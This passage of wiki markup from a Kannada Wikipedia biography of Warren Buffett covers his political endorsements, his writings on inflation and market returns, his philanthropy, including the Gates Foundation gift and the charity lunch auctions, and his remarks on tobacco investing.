ಬಫೆಟ್‌‌‌ ಭಾಗವಹಿಸಿದ್ದರು.<ref>{{cite news |url = https://www.nytimes.com/2008/07/03/us/politics/03donate.html?n=Top/Reference/Times%20Topics/Subjects/U/United%20States%20Politics%20and%20Government |type = |title = Obama Picks Up Fund-Raising Pace |work = Washington Post |author = Michael Luo and Christopher Drew |date = 3 July 2008 |accessdate = 2008-09-24 }}</ref> ಬಫೆಟ್‌‌‌ ಒಬಾಮರನ್ನು ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆಯಲ್ಲಿ ಬೆಂಬಲಿಸಿ [[ಸಾಮಾಜಿಕ ನ್ಯಾಯ]]ದ ಬಗೆಗಿನ ತಮ್ಮ ನಿಲುವುಗಳು [[ಜಾನ್‌ ಮೆಕ್‌ಕೇನ್‌]]ರ ನಿಲುವುಗಳಿಗಿಂತ ತೀವ್ರ ಭಿನ್ನತೆಯನ್ನು ಹೊಂದಿದ್ದು ತಮ್ಮ ಬೆಂಬಲವನ್ನು ಬದಲಿಸಬೇಕೆಂದರೆ ಮೆಕ್‌ಕೇನ್‌ರು ತಮಗೆ "[[ಮಾನಸಿಕ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆ]]"ಯನ್ನು ಮಾಡಿಸಬೇಕಾಗುತ್ತದೆ ಎಂದು ಬಫೆಟ್‌‌‌ರು ಹೇಳಿದ್ದರು.<ref>{{cite web|url=http://www.cnbc.com/id/24469771/site/14081545/page/3/|title="Squawk Box" Transcript: Becky Quick Sits Down with Billionaire Investor Warren Buffett|accessdate=2008-09-12|publisher=[[CNBC]]|archive-date=2011-06-10|archive-url=https://web.archive.org/web/20110610235708/http://www.cnbc.com/id/24469771/site/14081545/page/3/|url-status=dead}}</ref> ಎರಡನೇ [[2008 U.S. ಅಧ್ಯಕ್ಷೀಯ ಚರ್ಚಾಕೂಟ]]ದ ಸಮಯದಲ್ಲಿ, ಅಭ್ಯರ್ಥಿಗಳಾದ ಜಾನ್‌ ಮೆಕ್‌ಕೇನ್‌ ಮತ್ತು ಬರಾಕ್‌ ಒಬಾಮರನ್ನು, ಅಧ್ಯಕ್ಷೀಯ ಚರ್ಚಾಕೂಟದ ಮಧ್ಯವರ್ತಿ [[ಟಾಮ್‌ ಬ್ರೋಕಾ]]ರು ಮೊದಲಿಗೆ ಪ್ರಶ್ನಿಸಿದಾಗ, ಇಬ್ಬರೂ ಬಫೆಟ್‌‌‌ರನ್ನು ಸಂಭಾವ್ಯ ಭವಿಷ್ಯದ [[ಖಜಾನೆಯ ಕಾರ್ಯದರ್ಶಿ]]ಯಾಗಿ ಸೂಚಿಸಿದರು.<ref>{{cite news |url = http://www.cnn.com/2008/POLITICS/10/07/presidential.debate.transcript/ |type = |title = Transcript of second McCain, Obama debate |work = CNN |author = |date = 10 October 2008 |accessdate = 2008-10-10 }}</ref> ನಂತರ, ಮೂರನೆಯ ಹಾಗೂ ಕೊನೆಯ ಅಧ್ಯಕ್ಷೀಯ ಚರ್ಚಾಕೂಟದಲ್ಲಿ, ಒಬಾಮರು ಬಫೆಟ್‌‌‌ರನ್ನು ಸಂಭಾವ್ಯ ಆರ್ಥಿಕ ಸಲಹೆಗಾರರಾಗಿ ಸೂಚಿಸಿದರು.<ref>{{cite web|url=http://www.moneyweb.co.za/mw/view/mw/en/page95?oid=234774&sn=Detail| title=Obama appoints Buffett as economic adviser| date=07 November 2008 |publisher=Reuters}}</ref> ಬಫೆಟ್‌‌‌ 2003ರ ಚುನಾವಣಾ ಪ್ರಚಾರದ ಸಮಯದಲ್ಲಿ [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]]ದ [[ರಿಪಬ್ಲಿಕನ್‌]] ರಾಜ್ಯಪಾಲ [[ಅರ್ನಾಲ್ಡ್‌‌ ಷ್ವಾರ್‌ಜೆನೆಗ್ಗರ್‌]]ರ ಹಣಕಾಸು ಸಲಹೆಗಾರರಾಗಿದ್ದರು.<ref>[http://www.usatoday.com/news/politicselections/2003-08-13-buffett-calif_x.htm USA ಟುಡೇ: ಷ್ವಾರ್ಜೆನೆಗ್ಗರ್‌ ಟ್ಯಾಪ್ಸ್‌ ಬಫೆಟ್‌‌‌ ಆಸ್‌ ಫೈನಾನ್ಸ್‌ ಅಡ್‌ವೈಸರ್‌] 14 Aug 2003</ref> === ಬರಹಗಳು(ಪೂರಕ ಮಾಹಿತಿಗಳು) === ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ರ ಬರಹಗಳಲ್ಲಿ ಅವರ ವಾರ್ಷಿಕ ವರದಿಗಳು ಹಾಗೂ ಅನೇಕ ಲೇಖನಗಳು ಸೇರಿವೆ. ಅವರು ಹಣದುಬ್ಬರದ ವಿನಾಶಕಾರಿ ಪರಿಣಾಮಗಳ ಬಗ್ಗೆ ಎಚ್ಚರಿಸಿದ್ದರು: {{cquote|The arithmetic makes it plain that inflation is a far more devastating tax than anything that has been enacted by our legislatures. The inflation tax has a fantastic ability to simply consume capital. It makes no difference to a widow with her savings in a 5 percent passbook account whether she pays 100 percent income tax on her interest income during a period of zero inflation, or pays no income taxes during years of 5 percent inflation.<ref>''How Inflation Swindles the Equity Investor'', Warren Buffett, FORTUNE, May 1977</ref>}} ತಮ್ಮ ಲೇಖನ ''[[ದ ಸೂಪರ್‌ ಇನ್‌ವೆಸ್ಟರ್ಸ್‌ ಆಫ್‌ ಗ್ರಹಾಮ್‌-ಅಂಡ್‌-ಡೊಡ್ಸ್‌ವಿಲ್ಲೆ]]'' ಯಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಶೈಕ್ಷಣಿಕವಾದ [[ದಕ್ಷ-ಮಾರುಕಟ್ಟೆ ಕಲ್ಪನೆ]]ಯ ಬಗ್ಗೆ ಖಂಡಿಸಿ, ಗ್ರಹಾಮ್‌ ಮತ್ತು ಡಾಡ್ಡ್‌‌ರ ವಿಷಮ ಮೌಲ್ಯ ಹೂಡಿಕೆ ಆಲೋಚನಾ ಶೈಲಿಯ ಅಸಂಖ್ಯ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ಉಲ್ಲೇಖಿಸಿ [[S&amp;P 500]]ಯನ್ನು ಸೋಲಿಸಿದ್ದು "ಶುದ್ಧ ಅದೃಷ್ಟ ಮಾತ್ರ" ಎಂದಿದ್ದರು. ಇದಕ್ಕೆ ಉದಾಹರಣೆಯಾಗಿ ತಮ್ಮೊಂದಿಗೆ, ಬಫೆಟ್‌‌‌ [[ವಾಲ್ಟರ್‌ J. ಷ್ಲಾಸ್‌]], ಟಾಮ್‌ ನ್ಯಾಪ್‌, ಎಡ್‌ ಆಂಡರ್‌‌ಸನ್‌ (ಟ್ವೀಡಿ, ಬ್ರೌನ್‌ Inc.), ಬಿಲ್‌ ರಾನೆ (ಸೆಕ್ವೋಯಾ ಫಂಡ್‌‌, Inc.), [[ಚಾರ್ಲ್ಸ್‌ ಮಂಗರ್‌]] (ಬಫೆಟ್‌‌ರ ಬರ್ಕ್‌ಷೈರ್‌ನ ಸ್ವಂತ ಉದ್ಯಮದ ಭಾಗೀದಾರ), ರಿಕ್‌ ಗುಯೆರಿನ್‌‌ (ಪೆಸಿಫಿಕ್‌ ಪಾರ್ಟ್‌ನರ್ಸ್‌, Ltd.), ಹಾಗೂ ಸ್ಟಾನ್‌ ಪರ್ಲ್‌ಮೀಟರ್‌ (ಪರ್ಲ್‌ಮೀಟರ್‌ ಇನ್‌ವೆಸ್ಟ್‌ಮೆಂಟ್ಸ್‌‌)ಗಳನ್ನು ಉಲ್ಲೇಖಿಸಿದರು.<ref>{{cite web |url=http://dealbook.blogs.nytimes.com/2008/08/12/official-buffett-biography-to-hit-shelves/ | work=New York Times | title=Official Buffett Biography to Hit Shelves | date=2008-08-12 | accessdate=2008-08-15}}</ref> ತಮ್ಮ ನವೆಂಬರ್‌, 1999ರ ''ಫಾರ್ಚ್ಯೂನ್‌'' ಲೇಖನದಲ್ಲಿ, ಹೂಡಿಕೆದಾರರಿಗೆ ಅವಾಸ್ತವಿಕ ನಿರೀಕ್ಷಣೆಗಳ ಬಗ್ಗೆ ಎಚ್ಚರಿಸಿದ್ದರು: {{cquote|Let me summarize what I've been saying about the stock market: I think it's very hard to come up with a persuasive case that equities will over the next 17 years perform anything like--anything like--they've performed in the past 17. If I had to pick the most probable return, from appreciation and dividends combined, that investors in aggregate--repeat, aggregate--would earn in a world of constant interest rates, 2% inflation, and those ever hurtful frictional costs, it would be 6%.<ref>{{cite journal|url=http://money.cnn.com/magazines/fortune/fortune_archive/1999/11/22/269071/index.htm| title=Mr. Buffett on the Stock Market |date=November 22, 1999 |work=Fortune Magazine| author=Warren Buffett; Carol Loomis}}</ref>}} === ಲೋಕೋಪಕಾರ === 1988ರಲ್ಲಿನ ಕೆಳಕಂಡ ಹೇಳಿಕೆಯು, ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ರು ತಮ್ಮ ಐಶ್ವರ್ಯದ ಬಗ್ಗೆ ಹೊಂದಿದ್ದ ನಿಲುವನ್ನು ಹಾಗೂ ಅವರು ಅದನ್ನು ಮರು-ವಿತರಣೆ ಮಾಡಲು ಏಕೆ ದೀರ್ಘ ಕಾಲದ ಯೋಜನೆ ಮಾಡಿದರು ಎಂಬುದನ್ನು ಅನುಕ್ರಮವಾಗಿ ಸೂಚಿಸುತ್ತದೆ: {{cquote|I don't have a problem with guilt about money. The way I see it is that my money represents an enormous number of claim checks on society. It's like I have these little pieces of paper that I can turn into consumption. If I wanted to, I could hire 10,000 people to do nothing but paint my picture every day for the rest of my life. And the GDP would go up. But the utility of the product would be zilch, and I would be keeping those 10,000 people from doing AIDS research, or teaching, or nursing. I don't do that though. I don't use very many of those claim checks. There's nothing material I want very much. And I'm going to give virtually all of those claim checks to charity when my wife and I die. (Lowe 1997:165–166)}} ''NY ಟೈಮ್ಸ್‌'' ನ ಲೇಖನವೊಂದರಲ್ಲಿ : ಶ್ರೀಮಂತ ಸಂದರ್ಭಗಳಲ್ಲಿ ಬೆಳೆದ ಮಂದಿಯನ್ನು ಅವರು "ಅದೃಷ್ಟಶಾಲಿ ವೀರ್ಯವಂತರ ಸಂಘದ ಸದಸ್ಯರು"<ref>NY ಟೈಮ್ಸ್‌ ಲೇಖನ ಇಲ್ಲಿಗೆ ಬರಬೇಕು</ref> ಎಂದು ಕರೆಯುತ್ತಿದ್ದ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಹೀಗೆ ಹೇಳಿದರು "ನನಗೆ ವಂಶಪರಂಪರೆಯ ಐಶ್ವರ್ಯದಲ್ಲಿ ನಂಬಿಕೆಯಿಲ್ಲ" ಬಫೆಟ್‌‌‌ ಅನೇಕ ಬಾರಿ ತಮ್ಮ ಮಾರುಕಟ್ಟೆ ಆರ್ಥಿಕತೆಯಲ್ಲಿ, ಶ್ರೀಮಂತರು ತಮ್ಮ ಪ್ರತಿಭೆಗೆ ಮೀರಿದ ಪ್ರತಿಫಲವನ್ನು ಪಡೆಯುತ್ತಾರೆ ಎಂಬ ತಮ್ಮ ಅಭಿಪ್ರಾಯದ ಬಗ್ಗೆ ಬರೆದಿದ್ದಾರೆ: {{cquote|A market economy creates some lopsided payoffs to participants. The right endowment of vocal chords, anatomical structure, physical strength, or mental powers can produce enormous piles of claim checks (stocks, bonds, and other forms of capital) on future national output. Proper selection of ancestors similarly can result in lifetime supplies of such tickets upon birth. If zero real investment returns diverted a bit greater portion of the national output from such stockholders to equally worthy and hardworking citizens lacking jackpot-producing talents, it would seem unlikely to pose such an insult to an equitable world as to risk Divine Intervention.<ref>"How Inflation Swindles the Equity Investor", Warren E. Buffett, ''Fortune'' May 1977 #</ref>}} ಅವರ ಮಕ್ಕಳು ಆತನ ಸಂಪತ್ತಿನ ಬಹುಪಾಲು ಭಾಗಕ್ಕೆ ಹಕ್ಕುದಾರರಾಗಿರುವುದಿಲ್ಲ. ಈ ಎಲ್ಲಾ ಚಟುವಟಿಕೆಗಳು ಅವರು ಈ ಹಿಂದೆ ಉತ್ತಮ ಅದೃಷ್ಟವನ್ನು ಒಂದು ಪೀಳಿಗೆಯಿಂದ ಮುಂದಿನ ಪೀಳಿಗೆಗೆ ಹಸ್ತಾಂತರವಾಗುವುದನ್ನು ವಿರೋಧಿಸಿ ನೀಡಿದ ಹೇಳಿಕೆಗಳ ಪರವಾಗಿಯೇ ಇವೆ.<ref>"[http://www.economist.com/books/displaystory.cfm?story_id=12414924 ಎ ಬಯೋಗ್ರಫಿ ಆಫ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌]" (''[[ದ ಸ್ನೋಬಾಲ್‌]]'' ನ ವಿಮರ್ಶೆ), ''[[ದ ಇಕನಾಮಿಸ್ಟ್‌‌]]'' , 16 Oct. 2008.</ref> ಒಮ್ಮೆ ಬಫೆಟ್‌‌‌ ಹೀಗೆ ಹೇಳಿದ್ದರು, "ನಾನು ನನ್ನ ಮಕ್ಕಳಿಗೆ ಅವರಿಗೆ ತಾವು ಏನು ಬೇಕಾದರೂ ಮಾಡಬಲ್ಲೆವೆಂಬುದಕ್ಕೆ ಎಷ್ಟು ಬೇಕೋ ಅಷ್ಟು ಮಾತ್ರ ಕೊಡಲಿಚ್ಛಿಸುತ್ತೇನೆಯೇ ಹೊರತು, ಏನೂ ಮಾಡದೆಯೇ ಇರಬಹುದಾದಷ್ಟು ಕೊಡಲಿಚ್ಛಿಸುವುದಿಲ್ಲ".<ref>{{cite video|accessdate=2008-05-20|title=An Exclusive Hour with Warren Buffett and Bill and Melinda Gates|publisher=[[Charlie Rose (talk show)|Charlie Rose]]}}</ref> 2006ರಲ್ಲಿ, ಅವರು ತಮ್ಮ 2001ರ ಲಿಂಕನ್‌ ಟೌನ್‌ ಕಾರ್‌ಅನ್ನು <ref>{{cite web|accessdate=2008-05-20|url=http://www.forbesautos.com/advice/toptens/forbes400/vehicles/01-cadillac_dts.html|title= Warren Buffett |publisher=[[Forbes]]|author=Chapnick, Nate}}</ref> [[eBay]]ನಲ್ಲಿ ಹರಾಜಿಗಿಟ್ಟು [[ಗರ್ಲ್ಸ್‌, Inc.]]ಗೆ ಹಣ ಹೊಂದಿಸಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-20|url=http://members.ebay.com/ws/eBayISAPI.dll?ViewUserPage&userid=girls-inc|title=girls-inc|publisher=[[eBay]]}}</ref> 2007ರಲ್ಲಿ, ಅವರು ತಮ್ಮೊಂದಿಗೆ ಭೋಜನಕೂಟದಲ್ಲಿ ಭಾಗವಹಿಸುವಿಕೆಯನ್ನು ಹರಾಜಿಗಿಟ್ಟು $650,100ಗಳನ್ನು ದತ್ತಿನಿಧಿಗೆಂದು ಅಂತಿಮ ಬಿಡ್‌ ಪಡೆದಿದ್ದರು.<ref>{{cite web |author=Lindsay Goldwert |url=http://www.cbsnews.com/stories/2007/07/01/business/main3002551.shtml |title=Lunch With Warren Buffett? $650,100, Charity Auction Winner Bids Big Money For Steak Lunch With Billionaire Buffett |publisher=CBS News |date=2007-07-01 |accessdate=2009-02-23 |archive-date=2009-06-27 |archive-url=https://web.archive.org/web/20090627111254/http://www.cbsnews.com/stories/2007/07/01/business/main3002551.shtml |url-status=dead }}</ref> 2006ರಲ್ಲಿ, ಅವರು ತಮ್ಮ ಶ್ರೀಮಂತಿಕೆಯನ್ನು ದತ್ತಿಗಳಿಗೆ ಕೊಡುವ ಯೋಜನೆಯಿದೆಯೆಂದು ಅದರ 83% ಭಾಗವು [[ಬಿಲ್‌ &amp; ಮೆಲಿಂಡಾ ಗೇಟ್ಸ್‌‌ ಪ್ರತಿಷ್ಠಾನ]]ಕ್ಕೆ ಸಲ್ಲಲಿದೆಯೆಂದು ಘೋಷಿಸಿದರು.<ref>{{cite web|accessdate=2008-05-20|url=http://money.cnn.com/2006/06/25/magazines/fortune/charity1.fortune/|title=Warren Buffett gives away his fortune|publisher=[[Fortune (magazine)|Fortune]]|date=2006-06-25|author=Loomis, Carol J.}}</ref> ಜೂನ್‌ 2006ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಸರಿಸುಮಾರು 10 ದಶಲಕ್ಷ [[ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ]] B ವರ್ಗದ ಷೇರುಗಳನ್ನು [[ಬಿಲ್‌ &amp; ಮೆಲಿಂಡಾ ಗೇಟ್ಸ್‌‌ ಪ್ರತಿಷ್ಠಾನ]] (23 ಜೂನ್‌ 2006ರ ಹಾಗೆ ಅದರ ಮೌಲ್ಯವು US$30.7 ಶತಕೋಟಿಯಷ್ಟಿತ್ತು)<ref>{{cite web|accessdate=2008-05-20|url=http://www.msnbc.msn.com/id/13541144/|title=Gates: Buffett gift may help cure worst diseases|publisher=[[MSNBC]]|date=2006-06-26|archive-date=2010-12-03|archive-url=https://web.archive.org/web/20101203174935/http://www.msnbc.msn.com/id/13541144/|url-status=dead}}</ref> ನೀಡಿದರು. ಇದು ಇತಿಹಾಸದಲ್ಲೇ ಅತ್ಯಂತ ದೊಡ್ಡ ದತ್ತಿಯ ದೇಣಿಗೆಯೆನಿಸಿತಲ್ಲದೇ ಬಫೆಟ್‌‌‌ರನ್ನು [[ಲೋಕೋಪಕಾರಿ ಬಂಡವಾಳಶಾಹಿತ್ವದ]] ಕ್ರಾಂತಿಯ ನಾಯಕರಲ್ಲೊಬ್ಬರನ್ನಾಗಿ ಮಾಡಿತು.<ref>{{cite news|url=http://www.economist.com/surveys/displaystory.cfm?story_id=5517656 |title=The birth of philanthrocapitalism |publisher=Economist.com |date=2006-02-23 |accessdate=2009-02-23}}</ref> 2006ರಲ್ಲಿ ಆರಂಭಗೊಂಡು ಪ್ರತಿ ವರ್ಷದ ಜುಲೈನಲ್ಲಿ ಪ್ರತಿಷ್ಠಾನವು ಒಟ್ಟು ದೇಣಿಗೆಯ 5%ರಷ್ಟನ್ನು ವಾರ್ಷಿಕವಾಗಿ ಪಡೆಯಲಿದೆ. ಬಫೆಟ್‌‌‌ ಗೇಟ್ಸ್‌‌ ಪ್ರತಿಷ್ಠಾನದ ನಿರ್ದೇಶಕರ ಮಂಡಳಿಯಲ್ಲಿ ಸೇರಿಕೊಳ್ಳುವರಾದರೂ, ಅವರು ಪ್ರತಿಷ್ಠಾನದ ಹೂಡುವಿಕೆಗಳಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವ ವಿಚಾರವಾಗಿ ಯಾವುದೇ ನಿರ್ಧಾರ ಕೈಗೊಂಡಿಲ್ಲ.<ref>{{cite news| url=https://www.nytimes.com/2006/06/26/business/26buffett.html| title=Buffett to Give Bulk of His Fortune to Gates Charity | work=The New York Times| authors=TIMOTHY L. O'BRIEN and STEPHANIE SAUL| date=June 26, 2006 }}</ref><ref>{{cite news| url=http://www.washingtonpost.com/wp-dyn/content/article/2006/06/25/AR2006062500801_2.html| title=Gates Foundation to Get Bulk of Buffett's Fortune| author=Yuki Noguchi| work=The Washington Post | date=June 26, 2006| page=A01}}</ref>{{Fact|date=September 2008}} ಬಫೆಟ್‌‌‌ರು ತಮ್ಮ [[ಬಫೆಟ್‌‌‌ ಪ್ರತಿಷ್ಠಾನ]]ಕ್ಕೆ ತಮ್ಮ ಬಹುಪಾಲು ಸಂಪತ್ತನ್ನು ನೀಡುವುದಾಗಿ ಈ ಹಿಂದೆ ನೀಡಿದ್ದ ಹೇಳಿಕೆಗಳಿಗಿಂತ ಈ ನಡೆ ಭಿನ್ನವಾಗಿದೆ.<ref>{{cite journal|url=http://money.cnn.com/2006/06/25/magazines/fortune/charity2.fortune/index.htm|title=A conversation with Warren Buffett|author=Carol J. Loomis|work=Fortune Magazine|date=June 25 2006}}</ref> $2.6 ಶತಕೋಟಿ ಮೌಲ್ಯದ ಅವರ ಪತ್ನಿಯ ಒಡೆತನದಲ್ಲಿನ ಸ್ಥಿರಾಸ್ತಿಯ ಬಹುಪಾಲು ಆಕೆ, 2004ರಲ್ಲಿ ಮರಣಿಸಿದಾಗ ಈ ಪ್ರತಿಷ್ಠಾನಕ್ಕೆ ಸಂದಿದೆ.<ref>{{cite web|accessdate=2008-05-20|url=http://foundationcenter.org/pnd/news/story.jhtml?id=75900030|title=Most of Susan Buffett Estate to Go to Foundation|publisher=The Foundation Center|date=2004-08-11}}</ref> ವಾಷಿಂಗ್ಟನ್‌ನಲ್ಲಿನ ತಾವು 2002ರಿಂದ ಸಲಹಾಕಾರರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದ [[ಅಣ್ವಸ್ತ್ರ ಭೀತಿ ನಿವಾರಣಾ ಉಪಕ್ರಮ]]ಕ್ಕೆ, $50-ದಶಲಕ್ಷವನ್ನು ನೀಡುವುದಾಗಿ ವಾಗ್ದಾನ ನೀಡಿದ್ದಾರೆ.<ref>[http://philanthropy.com/stats/donors/detail.php?ID_Gift=1906 ''ಅಮೇರಿಕಾದ ಅತ್ಯಂತ ಉದಾರ ದೇಣಿಗೆದಾರರು, ಶ್ರೇಯಾಂಕ: 1 ವಾರೆನ್‌ E. ಬಫೆಟ್‌‌'' , ಕ್ರಾನಿಕಲ್‌ ಆಫ್‌ ಫಿಲಾಂತ್ರೋಪಿ]</ref> 27 ಜೂನ್‌ 2008ರಂದು, ಝಾವೋ ಡ್ಯಾನ್ಯಾಂಗ್‌ ಎಂಬ ಪ್ಯೂರ್‌ ಹಾರ್ಟ್‌ ಚೈನಾ ಗ್ರೋತ್‌ ಇನ್‌ವೆಸ್ಟ್‌ಮೆಂಟ್‌ ಫಂಡ್‌‌ ಸಂಸ್ಥೆಯ ಪ್ರಧಾನ ನಿರ್ವಾಹಕರು 2008ರ 5-ದಿನ ಆನ್‌ಲೈನ್‌ "ಪವರ್‌ ಲಂಚ್‌ ವಿತ್‌‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌" ದತ್ತಿ [[ಹರಾಜನ್ನು]] $2,110,100 ಮೊತ್ತದ ಬಿಡ್‌ ಮಾಡಿ ಗೆದ್ದರು. ಹರಾಜಿನ ಉತ್ಪತ್ತಿಗಳು [[ಸ್ಯಾನ್‌ ಫ್ರಾನ್ಸಿಸ್ಕೋ]]ದ [[ಗ್ಲೈಡ್‌ ಪ್ರತಿಷ್ಠಾನ]]ಕ್ಕೆ ಸಲ್ಲುತ್ತವೆ.<ref>{{cite web|url=http://uk.reuters.com/article/rbssFinancialServicesAndRealEstateNews/idUKN2646483420080628 |title=uk.reuters.com, Warren Buffett lunch sells for record $2.11 mln |publisher=Uk.reuters.com |date=2008-06-28 |accessdate=2009-02-23}}</ref><ref>{{cite web|url=http://www.cnbc.com/id/25421046 |title=cnbc.com, Warren Buffett Charity Lunch Auction Ends with High Bid of $2,110,100 |publisher=Cnbc.com |date= |accessdate=2009-02-23}}</ref> ===೨೦೧೯ ಜೂನ್ ೧ಕ್ಕೆ ದಾನದ ಮೊತ್ತ === *ಬಫೆಟ್ ತನ್ನ ಬರ್ಕ್‌ಷೈರ್ ಷೇರುಗಳ ಒಂದು ಭಾಗವನ್ನು 2006 ರಿಂದ ದಾನಕ್ಕೆ ನೀಡುತ್ತಿದ್ದಾರೆ. ೧-೬-೨೦೧೯ ಸೋಮವಾರ ಪತ್ರಿಕಾ ಪ್ರಕಟಣೆಯ ಪ್ರಕಾರ, ಬಫೆಟ್‌ನ ಉಡುಗೊರೆಗಳ ಮೌಲ್ಯವು ಒಟ್ಟು 34 ಬಿಲಿಯನ್ (billion)ಆಗಿದೆ. 2006 ರಿಂದ ಬಫೆಟ್ ದಾನ ಪತ್ರಿಕಾ ಪ್ರಕಟಣೆಯಲ್ಲಿ ೧-೬-೨೦೧೯ ಸೋಮವಾರ, ಮೌಲ್ಯ ಟಿ ಟಿ ಬಫೆಟ್ರ ಉಡುಗೊರೆಗಳ ಗೆ ತಮ್ಮ ಬರ್ಕ್ಷೈರ್ ಷೇರುಗಳನ್ನು ಒಂದು ಭಾಗವನ್ನು ದಾನ ಮಾಡಲಾಗಿದೆ. ಅದರ ಪ್ರಕಾರ ಒಟ್ಟು ದಾನ $ 34 ಬಿಲಿಯನ್ (2,72000,00,00,000= 2,72,000 ಕೋಟಿ ರೂಪಾಯಿ/ ಎರಡು ಲಕ್ಷ ಎಪ್ಪತೆರಡು ಸಾವಿರ ಕೋಟಿ ರೂಪಾಯಿ.) ಆಗಿತ್ತು.<ref>https://edition.cnn.com/2019/07/01/investing/warren-buffett-berkshire-hathaway-donation/index.html Warren Buffett is donating $3.6 billion more to charity; Paul Lamonica-Profile-Image</ref> == ಸಾರ್ವಜನಿಕ ಸ್ಥಾನಮಾನಗಳು == ಬಫೆಟ್‌ರ ಭಾಷಣಗಳು ಹಾಸ್ಯದೊಂದಿಗೆ ವ್ಯಾವಹಾರಿಕತೆಯನ್ನು ಹದವಾಗಿ ಬೆರೆಸಿದ ಸಂವಾದಗಳಿಂದ ಪ್ರಸಿದ್ಧವಾಗಿವೆ. ಪ್ರತಿ ವರ್ಷವೂ [[ನೆಬ್ರಾಸ್ಕಾ]]ದಲ್ಲಿನ [[ಒಮಾಹಾ]]ದ [[ಕ್ವೆಸ್ಟ್ ಸೆಂಟರ್‌]]ನಲ್ಲಿ ನಡೆಯುವ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇಯ ವಾರ್ಷಿಕ ಷೇರುದಾರರ ಸಭೆಯಲ್ಲಿ ಬಫೆಟ್ ಅಧ್ಯಕ್ಷತೆ ವಹಿಸಿಕೊಳ್ಳುವುದರಿಂದ, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ ಹಾಗೂ ಹೊರದೇಶಗಳಿಂದ ಸರಿಸುಮಾರು 20,000ದಷ್ಟು ಸಂದರ್ಶಕರು ಇದರತ್ತ ಸೆಳೆಯಲ್ಪಡುವುದರಿಂದ, ಅದಕ್ಕೆ "ವುಡ್‌ಸ್ಟಾಕ್ ಆಫ್ ಕ್ಯಾಪಿಟಾಲಿಸಂ" ಎಂಬ ಹೆಸರೂ ಬಂದಿದೆ.<ref>{{cite web |url=http://www.berkshirehathaway.com/letters |title= Warren Buffett's Letters to Shareholders |archiveurl=https://web.archive.org/web/20070322071600/http://www.berkshirehathaway.com/letters |archivedate=2007-03-22|accessdate=2008-05-20|publisher=[[Berkshire Hathaway]]}}</ref> ಬಫೆಟ್ ಸಿದ್ಧಪಡಿಸುವ ಬರ್ಕ್‌ಷೈರ್‌ನ ವಾರ್ಷಿಕ ವರದಿಗಳು ಹಾಗೂ ಷೇರುದಾರರಿಗೆ ಬರೆಯುವ ಪತ್ರಗಳನ್ನು, ವಿತ್ತೀಯ ಮಾಧ್ಯಮಗಳು ಆಗ್ಗಾಗ್ಗೆ ವರದಿ ಮಾಡುತ್ತಿರುತ್ತವೆ. ಬಫೆಟ್‌ರ ಬರಹಗಳು [[ಬೈಬಲ್‌]]ನಿಂದ [[ಮೇ ವೆಸ್ಟ್]] ತನಕ ಎಲ್ಲ ರೀತಿಯ ಉಕ್ತಿಗಳನ್ನೂ,<ref>{{cite web|accessdate=2008-05-20|url=http://www.berkshirehathaway.com/letters/1993.html|title=Chairman's Letter — 1993|publisher=[[Berkshire Hathaway]]}}</ref> ಮಧ್ಯಪಾಶ್ಚಿಮಾತ್ಯರ ಸಲಹೆಗಳು, ಹಾಗೂ ಇನ್ನಿತರೆ ಹಾಸ್ಯಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ ಎಂದು ಹೆಸರಾಗಿವೆ. ಬಫೆಟ್‌ರ ಗುಣಗಳನ್ನು ಹಲವಾರು ಅಂತರ್ಜಾಲ ತಾಣಗಳು ಪ್ರಶಂಸೆ ಮಾಡಿದರೆ ಇನ್ನಿತರೆ ತಾಣಗಳು ಬಫೆಟ್‌ರ ವ್ಯಾವಹಾರಿಕ ಮಾದರಿಗಳನ್ನು ಅಥವಾ ಅವರ ಸಲಹೆ ಹಾಗೂ ಬಂಡವಾಳ ನಿರ್ಣಯಗಳನ್ನು ಅಲ್ಲಗಳೆಯುತ್ತವೆ. === ಬಫೆಟ್‌‌‌ ಹಾಗೂ ತಂಬಾಕು === 1987ನೇ ಇಸವಿಯಲ್ಲಿ [[RJR ನಬಿಸ್ಕೊ]] Inc.ಅನ್ನು ಪ್ರತಿಕೂಲವಾಗಿ ವಶಪಡಿಸಿಕೊಳ್ಳುವ ಹೋರಾಟದ ಸಂದರ್ಭದಲ್ಲಿ, ಬಫೆಟ್ ಜಾನ್‌ ಗಟ್‌ಫ್ರಾಂಡ್‌ರಿಗೆ ಈ ರೀತಿಯಾಗಿ ಹೇಳುತ್ತಾರೆ:{{cquote|I’ll tell you why I like the cigarette business. It costs a penny to make. Sell it for a dollar. It’s addictive. And there’s fantastic brand loyalty.<ref>{{cite book | author=Burrough, Bryan; Helyar, John | title=[[Barbarians at the Gate: The Fall of RJR Nabisco]] | publisher=[[Harper & Row]] | location=New York | year=1990 | isbn=0-060-16172-8}}</ref>}} 1994ನೇ ಇಸವಿಯಲ್ಲಿ ನಡೆದ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ Inc.ನ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಬಫೆಟ್ ಹೇಳಿದ ಪ್ರಕಾರ, ತಂಬಾಕಿನ ಮೇಲೆ ಬಂಡವಾಳ ಹೂಡುವುದೆಂದರೆ:{{cquote|fraught with questions that relate to societal attitudes and those of the present administration. I would not like to have a significant percentage of my net worth invested in tobacco businesses. The economy of the business may be fine, but that doesn't mean it has a bright future.<ref>[http://legacy.library.ucsf.edu/tid/whg85e00/pdf ''Warren Buffett Cools on His Attraction to Tobacco Business'', Jenell Wallace, Bloomberg news, Apr/25/94, Legacy Tobacco Documents Library, University of California San Diego 